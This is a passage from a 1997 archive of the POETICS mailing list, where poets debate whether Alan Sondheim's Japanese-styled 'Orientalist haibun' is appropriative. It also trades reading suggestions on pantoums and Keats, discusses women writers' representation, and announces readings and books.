do. You can write as whatever you want--we call that fiction. But it raises questions when the details of place and time are lifted from a turn-of-the-century japonisme that would have been acceptable in an edwardian interior decorator or, say, in the Mahler (actually chinoiserie) of Das Lied, or even Gilbert and Sullivan--they didn't know any better--the orient was unfamiliar enough to be a stand-in for never-never land. The daily lives of Japanese people, and their own view of their past, is everywhere accessible to us, whether in news reports, japanese fiction, films, what have you--they have their own voices, and it takes a willful blindness nowadays not to hear them. That's why the foreign as decorative element can appear, as I think it does in your latest attempt, merely decorative, which is certainly taking another culture rather lightly. If you're going to write from a japanese persona, in other words, you might want to be a bit more rigorous with yourself.

At 11:06 AM 12/9/97 +0900, you wrote:
>On Mon, 8 Dec 1997, Mark Weiss wrote:
>
>> I enter where I have no business, but so be it. Perhaps what some find
>> offensive is their familiar world being transformed by those to whom it is
>> less familiar into a kind of science fiction (perhaps they feel that the
>> daily lives of others are too available at this juncture to be treated
>> without irony as exotica.) For myself the familiar so transforms itself
>> often enough to keep me busy.
>>
>It also depends on what is familiar. I am writing from the position of
>being a gaijin, so what is familiar is also unfamiliar and vice versa.
>It's not exotica for me, nor is it alien, nor is it not exotica, nor is it
>not alien.
>
>It is similar to a situation expressed in Quebecois literature all the way
>back through Chamberland, but here there is a differentiation between else
>and other based on language and entrance.
>
>I might add that Japanese writers write about and/or "American" as well,
>without PC censors around; I might also add that perhaps imperialisms have
>to be deconstructed here, as well as colonialisms in regard to these
>"nations" among others, but then again I am no expert on American history
>either.
>
>Alan
>
>

↑ Index

104. Louis Cabri

Re: Poet to spit shine Line of Okay one-on-one

Tue 9 Dec 1997

Swelabou miorebies,

ma/mu. Ubjelectrak yut alkultuon acticaduy, illompticus
"Touchable Executive": Ablex Cutter Ouch.

Mimpizmistule golgolimous "chex blechutts." RodyptEE! EW!
Ortnid ont yoofsters. --Chouch.

Esnoks,

↑ Index

105. Mark Wallace

Re[2]: primitive publications (fwd)

Tue 9 Dec 1997

The following is information about primitive publications, for those interested after Steven Marks' ABR review.

primitive publications is a press dedicated to historically influenced literature. It is the mission of this press to highlight those works with an innovative and challenging focus on history and literature. Cost of one chapbook is $4.00, or $20.00 for a subscription of six. Titles include:

"The History of the State May Last, 1616" by Mary Hilton
"The Haunted Baronet" by Mark Wallace
"Lead, Glass and Poppy" by Kristin Prevallet
"Why I Am Not a Christian" by Jefferson Hansen
"Taken" by Sherry Brennan
"Saunter" by Joshua McKinney (forthcoming)

All checks should be made payable to Mary Hilton and mailed to:

primitive publications
c/o Mary Hilton, editor
1706 U Street, NW, #102
Washington, DC 20009
e-mail: [redacted] *or* [redacted]

Inquires, submissions for the 1998 season, or requests to be included on the mailing list are welcome. Thank you for your interest.

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106. Alan Myouka Sondheim
Re: Orientalist haibun (with cups of sake four)
Tue 9 Dec 1997

This is also my last comment here. I am _not_ writing from the viewpoint of a japanese persona, 1. as was pointed out ; and 2. where do you ever get the idea that the daily life etc. is everywhere accessible to us, when in fact translations are heavily english to japanese and very little the other way around?

As far as "lifted," I've "lifted" Hokusai for about 30 years now in any case. I've also "lifted" Lautreamont who unfortunately is also last century.

As far as lightweight goes, of course. I can't argue with this.

Alan

On Tue, 9 Dec 1997, Mark Weiss wrote:

> *There's some smoke and mirrors here. I'll say my piece as clearly as I can, then I'm outa this. I don't give a damn about the political ramifications of what you do. You can write as whatever you want--we call that fiction. But it raises questions when the details of place and time are lifted from a turn-of-the-century japonisme that would have been acceptable in an edwardian interior decorator or, say, in the Mahler (actually chinoiserie) of Das Lied, or even Gilbert and Sullivan--they didn't know any better--the orient was unfamiliar enough to be a stand-in for never-never land. The daily lives of Japanese people, and their own view of their past, is everywhere accessible to us, whether in news reports, japanese fiction, films, what have you--they have their own voices, and it takes a willful blindness nowadays not to hear them. That's why the foreign as decorative element can appear, as I think it does in your latest attempt, merely decorative, which is certainly taking another culture rather lightly. If you're going to write from a japanese persona, in other words, you might want to be a bit more rigorous with yourself.*
>
> *At 11:06 AM 12/9/97 +0900, you wrote:*
> *On Mon, 8 Dec 1997, Mark Weiss wrote:*
>
> *I enter where I have no business, but so be it. Perhaps what some find offensive is their familiar world being transformed by those to whom it is less familiar into a kind of science fiction (perhaps they feel that the daily lives of others are too available at this juncture to be treated without irony as exotica.) For myself the familiar so transforms itself often enough to keep me busy.*
>
> *It also depends on what is familiar. I am writing from the position of being a gaijin, so what is familiar is also unfamiliar and vice versa. It's not exotica for me, nor is it alien, nor is it not exotica, nor is it*

> *not alien.*
>
> *It is similar to a situation expressed in Quebecois literature all the way back through Chamberland, but here there is a differentiation between else and other based on language and entrance.*
>
> *I might add that Japanese writers write about and/or "American" as well, without PC censors around; I might also add that perhaps imperialisms have to be deconstructed here, as well as colonialisms in regard to these "nations" among others, but then again I am no expert on American history either.*
>
> *Alan*

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107. Alan Myouka Sondheim
Iroiro
Tue 9 Dec 1997

Well, I feel I have been sufficiently
chastened and it makes me sick to my stomach.
So see, it's ok to write out of Lautreamont
or take say Gertrude Stein apart (yes, I've
spoofed her and it's in archives now), but
God forbid we touch other cultures because
after all they're precious and we should only
work out of contemporary otherness, or maybe
not even that. So I will watch my words care-
fully on this list, as far as the politics go,
I didn't give a fuck about them but brought them
up in response to Dean and you, see? But it's
clear now, what's acceptable to the poetics
community and I stand corrected.

No more of this fucking shit will pass your way!

Alan, PC to the hilt.

(You shoulda said something about the _novel_
for chrissake - I made a big mistake - there are
no llamas here not even lamas.)

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108. KENT JOHNSON
Orientalist haibun
Tue 9 Dec 1997

This is all fascinating stuff and pretty complex. eh? More complex than the great suspended sword of "Orientalism," which kind of makes everyone shut-up and mind their manners at the table... But good on Dean Brink for the thoughtful reply, and wow to gaijin Sondheim, who comes spinning like a Noh-top out of the Seventh Underworld!

Just a quick question before running to class: Mark Wallace wrote-- "If you're going to write from a Japanese persona, in other words, you might want to be a bit more rigorous with yourself."

The wild irony of calling on Sondheim to be "more rigorous" with himself aside, this raises an interesting question, at least for me: Wouldn't being "more rigorous" in this context perhaps mean, in part, a deconstruction of essences--an effort toward a showing of the Western in the Eastern, and vice-versa, and the fascinating complications, paradoxes, and poetic propellants such volatile mixtures create? I ask, because infamous Japanese persona Yasusada has been lambasted _both_ for being essentialist in an Orientalist way (see Dean's earlier posts, for example) and for his obvious and shameful corruptions of Japanese cultural and poetic conventions. It would seem (or am I wrong--_how should_ one do it, Mark?) that when it comes to inhabiting a cross-cultural persona--or having that persona inhabit you--that you (plural) just can't win. Kent

↑ Index

109. Jerry E. Fletcher
Re: invitation to women writers
Tue 9 Dec 1997

In message <[redacted]>, MLWeber <[redacted]> wrote:
> I edit Sugar Mule, a literary magazine.
>
> The upcoming issue (#4) will be composed of women's
> writing with an emphasis on the natural world.
>
I read this post and it brings up a topic of socio/politcal interest. When submitting work in response to calls from literary magazines that are open to all comers, do women writers still feel disadvantaged? Also, do women writers feel more constrained about submitting work that speaks from a woman's point of view and, or about women's issues. Of course, I'm no longer sure that women's issue's aren't also men's issues.

Jerry.=

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110. aerialedge
upcoming DC readings
Tue 9 Dec 1997

Saturday Dec 13th 7:30

Kristen Prevallet
& Rod Smith

Ruthless Grip Art Project
1508 U St NW
near 15th & U

Sunday Dec 14th 8 PM

Anselm Hollo
& Anselm Berrigan

Bridge Street Books
2814 Pennsylvania Ave NW
[redacted]

Sunday December 21, 3 PM

Chris Mann
& Graham Faust

DCAC (District of Columbia Arts Center)
2438 18th St NW
near 18th & Columbia

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111. Pritchett,Pat
Re: Iroiro
Tue 9 Dec 1997

It distresses me that Alan Sondheim feels so distressed. I greatly value his unique contributions to this List, which are as innovative and bracing as any writing being done today. Please, Alan, do not censor yourself on Dean Brink's or anyone else's account.

As for Dean Brink's criticisms, they are, I'm sure, valid as far as they go with respect to Orientalism per se. I think, though, the project Alan has in mind is altogether different in intention, that is, it has little interest in merely reproducing Japanese figures of speech as a way to evoke "the otherness of the

Orient," with all the colonial nostalgia that implies, but rather uses these tropes to arrive at a reconfigured pastiche in which the language (process) itself is the focus, and which, as a by-product, offer a critique of those nostalgias, the way they articulate an impossible desire: an erotics of the Other.

In one way, at least, his recent poems here (and Kent Johnson's last incredible post), function as deliberate parodies of the style of translation which Dean condemns. For instance, Kent's witty mention of Witter Bynner. Far from encouraging a stereotypical deployment of Oriental tropes, Alan and Kent have problematized the way we read the idea of the East. The playfulness of their language points up the linguistic opacity of the Other.

How do others read this?
Patrick Pritchett

From: Alan Myouka Sondheim
To: POETICS
Subject: Iroiro
Date: Tuesday, December 09, 1997 11:20AM

Well, I feel I have been sufficiently
chastened and it makes me sick to my stomach.
So see, it's ok to write out of Lautreamont
or take say Gertrude Stein apart (yes, I've
spoofed her and it's in archives now), but
God forbid we touch other cultures because
after all they're precious and we should only
work out of contemporary otherness, or maybe
not even that. So I will watch my words care-
fully on this list, as far as the politics go,
I didn't give a fuck about them but brought them
up in response to Dean and you, see? But it's
clear now, what's acceptable to the poetics
community and I stand corrected.

No more of this fucking shit will pass your way!

Alan, PC to the hilt.

↑ Index

112. William Burmeister Prod

Re: Iroiro

Tue 9 Dec 1997

On Dec 9, 11:50pm, Alan Myouka Sondheim wrote:
> Subject: Iroiro
> Well, I feel I have been sufficiently
> chastened and it makes me sick to my stomach.
> So see, it's ok to write out of Lautreamont
> or take say Gertrude Stein apart (yes, I've
> spoofed her and it's in archives now), but
> God forbid we touch other cultures because
> after all they're precious and we should only
> work out of contemporary otherness, or maybe
> not even that. So I will watch my words care-
> fully on this list, as far as the politics go,
> I didn't give a fuck about them but brought them
> up in response to Dean and you, see? But it's
> clear now, what's acceptable to the poetics
> community and I stand corrected.
>
> No more of this fucking shit will pass your way!
>
> Alan, PC to the hilt.
>
> (You shoulda said something about the _novel_
> for chrissake - I made a big mistake - there are
> no llamas here not even lamas.)
>-- End of excerpt from Alan Myouka Sondheim

I hate to see this kind of cultural censorship done in the name of patronage and preservation of social/cultural realism.

Alan, I hope you still feel that you can do whatever you like here: you can spoof, deconstruct, empathize with no one in particular, get in and out of the crossed-up cultural, be willfully blind, willfully take another culture lightly, take exception to poetry as "intimately ideological," decorate the foreign, foreignize the decorative, be rather nonintimately ideo-logical, but whatever you do, don't be rigorous with yourself!

The tasteful and intellectual nomination of culture is whimsical in itself.

We still need distraction. This especially from the boring, authorized pc representations of culture that only serve as useful for a short time (until the wheels fall of of the bandwagon).

William Burmeister

↑ Index

113. KENT JOHNSON
Orientalist haibun
Tue 9 Dec 1997

On 9 December, Mark Weiss wrote:

> *Pastiche is still pastiche, regardless of theory, and I suppose some like that sort of thing. But it does raise a different issue: the publication of one's poetry on the list...If I want my friends to see a new piece because I'm wild with excitement about it I backchannel: seems more appropriate.*"

Mark:

I don't believe I've ever posted a poem to the list, though I am certainly thankful that people with greater imaginations than my own (like Alan Sondheim) do.

My "Orientalist haibun" post was not intended as a poem; it was a reply to Dean Brink.

Kent

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114. david bromige
The Right Blonde
Tue 9 Dec 1997

Someone backchanelled me re my posting about this poem, & made me realize I was putting a great deal on a reader of my post, to arrive at my intention for it. So, to clarify : I believed the poem to be a parody of a Michael Palmer poem (the "MP" threw me that notion, and the techniques employed in the poem supported it), and I thought that I was at once going along with this parody (it _was_ funny, to imagine that Michael Palmer might have written it ; the mixture of likeliness and unlikeliness is appealing, as in one of his "False Portrait" poems, like the notion that I share traits with Pagannini) _and_ calling its author, "O, sure, sure, _that's_ an MP poem?" At no time did I think it _was_, and at no time would I think it was a "big step forward" for the poet of "Ecolalia". But some of the poems in "At Passages" disclose a more demotic flatness of surface than before, therefore it was just barely likely and thus, I thought, a skilful parody. All that aside, now I know it is the work of the MP called Mark Peters, I congratulate him on a striking poem that can certainly stand on its own. I look forward to reading more of his work, and I thank Kenneth Goldsmith for bringing it to our attention. David

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115. **William Marsh**

Re: invitation to women writers

Tue 9 Dec 1997

At 04:27 PM 12/9/97 GMT, Jerry wrote:

>In message <[redacted]>, MLWeber <[redacted]> wrote:
>> I edit Sugar Mule, a literary magazine.
>>
>> The upcoming issue (#4) will be composed of women's
>> writing with an emphasis on the natural world.
>>
>I read this post and it brings up a topic of socio/politcal interest.
When submitting work in response to calls from literary magazines that are open to all comers, do women writers still feel disadvantaged?

this issue has come up before on this list and i'm sure a few contributors will respond in the positive, that women are still at least under-represented or excluded if not "disadvantaged" / i think there are still (and will always be) exclusionary practices in the literary marketplace, and good reason obviously to identify them and to counteract with publications that represent under-represented work

frankly, i'm more concerned with those moments when editorial practices are misconstrued as gender (or race or age or "camp") biased when there's no supporting evidence / a female colleague of mine said she was convinced her poem about her recent hysterectomy was rejected because the editor was male / i don't know if she considered other possible reasons, but she certainly didn't mention them / the politics of that statement bother me / don't know who the editor was, or the mag, so i admit my example is problematic, but nonetheless the "male editor" was stereotyped

concerned as well with those moments when clearly-stated editorial biases (interests, slants)--"women's writing with an emphasis on the natural world", for example--are not explained / should it be obvious to me (the tenor of Jerry's question suggests that it isn't to all readers) why an issue-focus of this kind is (still) necessary? / in other words, is it the editor's responsibility to explain inclusions/exclusions (of whatever kind) when posting calls to a list of this kind?

bill marsh

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116. **Mark Weiss**
Re: Orientalist haibun
Tue 9 Dec 1997

Whileeading your post I felt a sudden rush of power: I could say anything I want and Mark Wallace would have to answer for it! Like Claude Rains in the invisible man. But I thought better of it. Wallace has enough responsibilities, and he bears the same last name as my favorite prof from college. 'Twas I killed cock robin. This may be a matter of taste. Pastiche is still pastiche, regardless of theory, and I suppose some like that sort of thing. But it does raise a different issue: the publication of one's poetry on the list. This usually arouses all the passions one would expect in an exceedingly polite gathering of friends, where little serious demur is likely to be voiced. If I want my friends to see a new piece because I'm wild with excitement about it I backchannel: seems more appropriate. But this is a forum to use as one wishes. Nuff said.

Mark Weiss

At 09:59 AM 12/9/97 -0500, you wrote:
>This is all fascinating stuff and pretty complex. eh? More complex
>than the great suspended sword of "Orientalism," which kind of makes
>everyone shut-up and mind their manners at the table... But good on
>Dean Brink for the thoughtful reply, and wow to gaijin Sondheim, who
>comes spinning like a Noh-top out of the Seventh Underworld!
>
>Just a quick question before running to class: Mark Wallace wrote--
>"If you're going to write from a Japanese persona, in other words,
>you might want to be a bit more rigorous with yourself."
>
>The wild irony of calling on Sondheim to be "more rigorous" with
>himself aside, this raises an interesting question, at least for me:
>Wouldn't being "more rigorous" in this context perhaps mean, in part,
>a deconstruction of essences--an effort toward a showing of the
>Western in the Eastern, and vice-versa, and the fascinating
>complications, paradoxes, and poetic propellants such volatile
>mixtures create? I ask, because infamous Japanese persona Yasusada
>has been lambasted _both_ for being essentialist in an Orientalist
>way (see Dean's earlier posts, for example) and for his obvious and
>shameful corruptions of Japanese cultural and poetic conventions. It
>would seem (or am I wrong--_how should_ one do it, Mark?) that when
>it comes to inhabiting a cross-cultural persona--or having that
>persona inhabit you--that you (plural) just can't win.
>Kent

>
>

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117. Rosemary Ceravolo
Re: CERAVOLO pronunciation
Tue 9 Dec 1997

As Joe's spouse, then widow, I can verify without a doubt
that our surname is correctly pronounced: Che RA' vo lo.
However, we were both aware of the many mispronunciations
commonly made by those unfamiliar with the Italian language.

In any case, his Poetry is the thing, not what's in a name.

Rosemary Ceravolo
.....
On Sat, 6 Dec 1997, joel lewis wrote:

> *Dear list, is the name of the late author of "Ho Ho Ho Caribou"*
> *pronounced:*
>
> *a) ce RA vo lo*
>
> *b) ce ra VO lo*
>
> *c) Throat-wobbler Mangrove?*
>
> *gwen --*
>
> *i knew joe (fellow jersey poet) and he said that he accepted both the a & b*
> *pronunciation, don't know about "c", tho'*
>
> *joel lewis*

↑ Index

118. Gwyn McVay
Re: Orientalist haibun
Tue 9 Dec 1997

It semeth me that one can study *old* Japanese forms, hokku, waka, etc. (although I would make a case for renga as having transcended its historical moment) while simply recognizing it as such--I don't believe a Japanese student of Chaucer would be left with the impression that the English *now* go around saying things like "Tehe, quod she, and clapte the window to."

It semeth me as well that the deliberate holes in Yasusada pointed out in Perloff's excellent essay--the Paul Celan anachronism, for example--make the whole project *more* interesting to me than an actual slavish imitation of then-current forms.

Gwyn

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119. **Mark Weiss**
Re: Orientalist haibun
Tue 9 Dec 1997

My apologies. I should be more careful when I'm up past my bedtime.

At 01:15 PM 12/9/97 -0500, you wrote:
>On 9 December, Mark Weiss wrote:
>
>>Pastiche is still pastiche, regardless of theory, and I suppose some
>>like that sort of thing. But it does raise a different issue: the
>>publication of one's poetry on the list...If I want my friends to
>>see a new piece because I'm wild with excitement about it I
>>backchannel: seems more appropriate."
>
>Mark:
>
>I don't believe I've ever posted a poem to the list, though I am
>certainly thankful that people with greater imaginations than my
>own (like Alan Sondheim) do.
>
>My "Orientalist haibun" post was not intended as a poem; it was a
>reply to Dean Brink.
>
>Kent
>
>

↑ Index

120. **Brent Long**
Suggestions?
Tue 9 Dec 1997

I have recently become interested in a style of writing called "pantoum". I am asking for suggestions from those of you familiar with this style as to whom I should try reading in the hopes of a better understanding of its structure.

Thanks in advance,

Brent

↑ Index

121. **J. Tate**
Keats
Tue 9 Dec 1997

Has anyone come across a poem or series of poems that dramatizes Keats's time as a med student?

Thanks in advance,

Joseph Tate
Graduate Student
Department of English
U. of Washington, Seattle

↑ Index

122. **tristan saldana**
Re: Suggestions?
Tue 9 Dec 1997

I'd like to know what patoum writing is too.

Tristan

On Tue, 9 Dec 1997, Brent Long wrote:

> *I have recently become interested in a style of writing called "pantoum". I am asking for suggestions from those of you familiar with this style as to whom I should try reading in the hopes of a better understanding of its structure.*
>
> *Thanks in advance,*
>
> *Brent*

↑ Index

123. **Jena Osman**
new Lauterbach book
Tue 9 Dec 1997

Ann Lauterbach has asked that I announce to the list the arrival of her new book, _On A Stair_, just out from Penguin.

Please look out for it.

Jena Osman
[redacted]

↑ Index

124. Jordan Davis
Re: Suggestions?
Tue 9 Dec 1997

Brent, if you have an apple][handy Teachers & Writers published long ago a pantoum video game -- I mean a pantoum-writing program. Some writers who have done nice things with the genre are John Ashbery ("Hotel Lautreamont" is a pretty good example) and David Shapiro ("From Malay"). Personally, I get a little manic in the presence of pantoums, which remind me of Ronald Reagan.

Best of luck,
Jordan "Louis-Cabri-bait"

At 3:57 PM -0500 12/9/97, Brent Long wrote:
>I have recently become interested in a style of writing called "pantoum".
>I am asking for suggestions from those of you familiar with this style as
>to whom I should try reading in the hopes of a better understanding of its
>structure.
>
>Thanks in advance,
>
>Brent

↑ Index

125. Safdie Joseph
Re: Keats
Tue 9 Dec 1997

Try "The Life of John Keats" by Tom Clark -- don't know, however, if it was published as a separate book or exists only in little magazines. I'll try and find out.

> *Has anyone come across a poem or series of poems that dramatizes*
> *Keats's*
> *time as a med student?*
>
> *Thanks in advance,*
>
> *Joseph Tate*
> *Graduate Student*
> *Department of English*

> *U. of Washington, Seattle*

↑ Index

126. Robin Morris
Re: Keats
Tue 9 Dec 1997

Amy Clampitt has a series on Keats in _What the Light Was Like_. Sorry, I don't have time to check to see if it encompasses his medical studies.

Robin

At 01:33 PM 12/9/97 -0800, you wrote:
>Has anyone come across a poem or series of poems that dramatizes Keats's
>time as a med student?
>
>Thanks in advance,
>
>Joseph Tate
>Graduate Student
>Department of English
>U. of Washington, Seattle
>
>

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

↑ Index

127. KENT JOHNSON
The Nation
Tue 9 Dec 1997

This may have been posted already, but just in case: Eliot Weinberger has a moving tribute to James Laughlin in the Dec. 15 Nation. It's full of fun anecdotes and makes the plain case that Laughlin is one of the central reasons that we all are, well, "here," reading and thinking about writing (with all of our differences) as we do. EW gives "The List" of who Laughlin gave us, and it's an amazing, amazing thing. Do check it out.

Kent

↑ Index

128. Stacie E. Slotnick
Re: Keats and pantoums
Tue 9 Dec 1997

Both Robert Pack and Linda Pastan have written pantoums, and I can't remember either of the titles (they read them about 4 years ago when I was at the Breadloaf W.C.). They might be in the Breadloaf Anthology.

John Burt, in his book Work without Hope, has a poem about Keats called "Love and Fame" that's definitely worth looking at.

Stacie Slotnick
Brandeis University
Department of English & American Literature
Waltham, MA 02254
[redacted]

It's a baffle, I said only yesterday.
Then I raised my beer glass
And invited everyone present
To drink to my future happiness,
When the bartender asked me
To please stop making a disturbance. --Charles Simic

↑ Index

129. Pritchett,Pat
Re: new Lauterbach book
Tue 9 Dec 1997

Thanks for that announcement, Jena Osman. In fact, I was browsing last night at a local booksellers, saw a single copy of it on the shelves, and snapped it up at once. What I've read so far is pretty wonderful - esp. the Invocation for Bernadette Mayer.

Patrick Pritchett

From: Jena Osman
To: POETICS
Subject: new Lauterbach book
Date: Tuesday, December 09, 1997 6:10PM

Ann Lauterbach has asked that I announce to the list the arrival of her new book, _On A Stair_, just out from Penguin.

Please look out for it.

Jena Osman
[redacted]

↑ Index

130. **Pritchett,Pat**
Re: Keats
Tue 9 Dec 1997

Believe, Joe, that was called "Junkets on a Sad Planet," pub. by Black Swallow. The first word of the title being a pun of Keats on his own name.
Patrick Pritchett

From: Safdie Joseph
To: POETICS
Subject: Re: Keats
Date: Tuesday, December 09, 1997 6:10PM

Try "The Life of John Keats" by Tom Clark -- don't know, however, if it was published as a separate book or exists only in little magazines. I'll try and find out.

↑ Index

131. **David Gitin**
Re: Keats
Tue 9 Dec 1997

JUNKETS ON A SAD PLANET (Black Sparrow)

↑ Index

132. **CharSSmith**
Re: Suggestions?
Tue 9 Dec 1997

Diane DiPrima has a pantoum in First Intensity #3.

--cs

↑ Index

133. **Michael Magee**
Re: new Lauterbach book
Tue 9 Dec 1997

Just a plug - I picked up Ann's book at Grollier's in Boston last week - it's really wonderful. -Mike.

According to Jena Osman:
>
> Ann Lauterbach has asked that I announce to the list the arrival of her
> new book, _On A Stair_, just out from Penguin.
>
> Please look out for it.
>
> Jena Osman
> [redacted]
>

↑ Index

134. Shemurph
pantoum
Tue 9 Dec 1997

Brent Long,

You probably know of Anne Waldman's chapbook First Baby Poems. In that chap is a wonderful pantoum called "Baby's Pantoum" (or something close to that). It's a splendid example of the form. I've used the form on a few occasions, as have a number of people. I see in a recent letter from the poet Mary Rising Higgins (of Albuquerque) that she's just completed one. What do you want to know about the form?

Sheila Murphy

↑ Index

135. Dan or Orion Raphael Dlugonski
poem beginning with a line from the Mickey Mouse Club
Wed 10 Dec 1997

CLENSED

you put the emPHAsis on the wrong syLAHble
you find an acre pond the same color as my eyes
do the dance that bad dance
in a closed room with a big bonfire stoked by dozens of stunk &droned people
dancing to industrial triphop accelerated beyond the metric system
a galvanized synthetic heart beyond our tantrums the nerves would disguise
though faster than light light thicker than water
getting up from the mountain

both sides of our river like a dinner table where
a hundred of near relatives, former cohorts, keep appearing
in dreams where i cant get where i need to go
as if im being immunized with roadblocks & frustration
to bear more gravity
to peel away these bio-habits
addicted to food to sleep
addicted to having a body to seeing only through my eyes
talking only with my mouth
coz i know whats important
cant be known
to hold fire ignore it completely--
hold your fire hold your water your breath
dont tread dive in
through the bottom
swirls like a high speed laundromat--
the foam of stars the sopping wet mass of mislabeled vac-
uum
as matter is trapped vacuum/energy, energy is full of questions
which are where every trip starts:
why not how come
since when what if

i dont want the planets in my head to turn into tumors. i can see so
much with this alien technology
learning from infection
it aint the meat, its the synthesis
beaming in the suns entrails, shadows language stitched through
rain
as a body turns fiber into landscapes embroidered into ecosystems
demagnify complexitys curls
before boiling/pressure simplifies by opening up, homogenizing the
space
when walls can no longer hold their sideways and surrender to the straight--
no matter how often you wash a wall
it only declines, itching to dance, to curve like
windows

↑ Index

136. **Rob Hardin**
(no subject)
Wed 10 Dec 1997

Lists Global

↑ Index

137. **John Tranter**
Weinberger's Laughlin tribute also in Jacket # 2
Wed 10 Dec 1997

On Tue, 9 Dec 1997 17:59:09 -0500
KENT JOHNSON wrote:

> *This may have been posted already, but just in case: Eliot Weinberger has a moving tribute to James Laughlin in the Dec. 15 Nation. It's full of fun anecdotes and makes the plain case that Laughlin is one of the central reasons that we all are, well, "here," reading and thinking about writing (with all of our differences) as we do. EW gives "The List" of who Laughlin gave us, and it's an amazing, amazing thing. Do check it out.*

For those unable to get that issue of Nation, Mr Weinberger's tribute is reprinted in the free Internet magazine Jacket, issue # 2, at

http:www.jacket.zip.com.au/jacket02/laughlin.html

regards,

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
Editor, Jacket magazine: http://www.jacket.zip.com.au

↑ Index

138. **Mark foutu**
Laughlin tribute in Cambridge
Wed 10 Dec 1997

TO ALL IN BOSTON:
WED. dec. 10th 730pm Yenching Auditorium 32 Divinity Ave
Harvard Univ.

W. Corbett Forrest Gander Roland Pease of Zoland Books
and more in Tribute to Laughlin

↑ Index

139. Patricia Cockram
Re: invitation to women writers
Wed 10 Dec 1997

At 04:27 PM 12/9/97 +0000, Jerry E. Fletcher wrote:

>In message <[redacted]>, MLWeber <[redacted]> wrote:
>> I edit Sugar Mule, a literary magazine.
>>
>> The upcoming issue (#4) will be composed of women's
>> writing with an emphasis on the natural world.
>>
>I read this post and it brings up a topic of socio/politcal interest. When
submitting work in response to calls from literary magazines that are open
to all comers, do women writers still feel disadvantaged? Also, do women
writers feel more constrained about submitting work that speaks from a
woman's point of view and, or about women's issues. Of course, I'm no
longer sure that women's issue's aren't also men's issues.
>
They are. But until there is equity (real and perceived), under-represented
groups need to promote themselves exclusively. Besides, we are talking here
about one special issue of a journal. Do we know what the editorial policy
is in general?
Patricia

↑ Index

140. david bromige
keats
Wed 10 Dec 1997

---

the book you want, I think, is by Tom Clark, published by Black Sparrow several years ago. Cant recall the title. David

↑ Index

141. Jerry E. Fletcher
Re: invitation to women writers
Wed 10 Dec 1997

> They are. But until there is equity (real and perceived), under-represented
> groups need to promote themselves exclusively. Besides, we are talking here
> about one special issue of a journal. Do we know what the editorial policy
> is in general?
> Patricia

>
 I understand well the equity issue, both real and perceived. Its just that women writers seem both more in evidence and taken seriously today. I have no argument with special issues or even literary mags devoted exclusively to one sex or another, race, etc. But see more equity in some of the journals today than ten years ago. Personally, I think the quality of men's writing has gone down as their political issues diminish...nothing like a little war to get the machismo flowing, just as Bush.

Jerry=

↑ Index

142. Miekal And
Re: Posting poems to the list
Wed 10 Dec 1997

Wonder how others feel.

imagine overhearing a radio in another room saying:

/where does poetics end & poems begin

/trust in selforganizing modes

/lick the back a da stamp before placing on envelope

/the question the acts the shelflife

/where's alan julu jennifer when ya need em

/criticism is recursive when the word speaks itself

/a whole lotta shruggin going on

1999:
Emperor Norton declares
Poetics listserv
a Temporary Autonomous Zone

Miekal

↑ Index

143. Sylvester Pollet
Re: Suggestions?
Wed 10 Dec 1997

Brent Long/Jordan Davis et al : if pantoums remind you of Ronald Reagan maybe you haven't seen Armand Schwerner's "The Crystal Skull Pantoums," Number 30 in the Backwoods Broadsides Chaplet Series, which I sent out in

October, with #31, Amiri Baraka's "Past Present." The series is $10. year for 8 issues ppd., or these two for $2. Here's the opening of Armand's "The Salary"--"with material from Svetlana Alliluyeva's twenty letters to a friend, Tarthang Tulku's Time Space and Knowledge, & phrases from Wittgenstein (through Michael Heller)."

my father had his weaker side; he was capable of self-doubt we must pass from moment to moment but Lavrenty Beria was more practiced in perfidy than father Wittgenstein said "the aim of philosophy is not truth but kindness"

[Sylvester Pollet RR 5 Box 3630 Ellsworth ME 04605]

↑ Index

144. **Maria Damon**

Re: invitation to women writers

Wed 10 Dec 1997

At 11:41 AM +0000 12/10/97, Jerry E. Fletcher wrote:
>> They are. But until there is equity (real and perceived), under-represented
>> groups need to promote themselves exclusively. Besides, we are talking here
>> about one special issue of a journal. Do we know what the editorial policy
>> is in general?
>> Patricia
>>
> I understand well the equity issue, both real and perceived. Its just
>that women writers seem both more in evidence and taken seriously today.
>I have no argument with special issues or even literary mags devoted
>exclusively to one sex or another, race, etc. But see more equity in some
>of the journals today than ten years ago. Personally, I think the quality
>of men's writing has gone down as their political issues
>diminish...nothing like a little war to get the machismo flowing, just as
>Bush.
>
>Jerry

there may be more parity than previously, but not enough. i was just at a conference that hosted 3 wonderful and important male poets and NOT ONE woman poet, though the poetic tendency or "school" the guys represented also can boast some eminent, accomplished and famous women. the progress, i think, is that the absence was glaring, esp to the guys themselves, whose friends and/or partners were not there. also, tho' (some few, like myself) women may be making some gains professionally, when balanced against the

attack on reproductive rights, welfare etc and other political efforts to control women and keep them down, the matter of visibility at the cultural level comes to appear somewhat compensatory and selective; i.e. one woman is invited to appear on an MLA panel for every thousand women who lose their AFDC benefits.

↑ Index

145. Maria Damon
Re: keats
Wed 10 Dec 1997

---

i put this query to a friend who posted it on his romanticism list; here's what he got:

> *Date: Tue, 9 Dec 1997 21:21:20 -0400*
> *To: Andrew Elfenbein*
> *From: [redacted] (Susan Wolfson)*
> *Subject: Keats*
>
> *Dear Andy,*
>
> *Your friend may be thinking of Tom Clarke's wonderful Junkets on a Sad Planet, which does K's whole life in a series of poems: 3 of them, "Morbidity," "Dark Commerce," and "Imagination" are about his term at Guy's Hospital.*
>
> *Best, Susan*

↑ Index

146. lefthandb
New release from Left Hand Books
Wed 10 Dec 1997

CENTURY DEAD CENTER by George Economou
paper; 128 pages + 4-page color insert; $15.00

Visit the Left Hand Books website <http://www.lefthandbooks.com/lhb> to read exerpts from CENTURY DEAD CENTER

CENTURY DEAD CENTER contains George Economou's prose, poetry, translations and visual art-a selection of work spanning eighteen years. The title piece drives home Walter Benjamin's claim, in THESES ON THE PHILOSOPHY OF HISTORY, that "There is no document of civilization which is not at the same time a document of barbarism." In "Century Dead Center," the phantasmagorical information age eclipses the sleep of reason. "If the center has not held it's because it has become self-centrifugal and keeps the appearance of not running

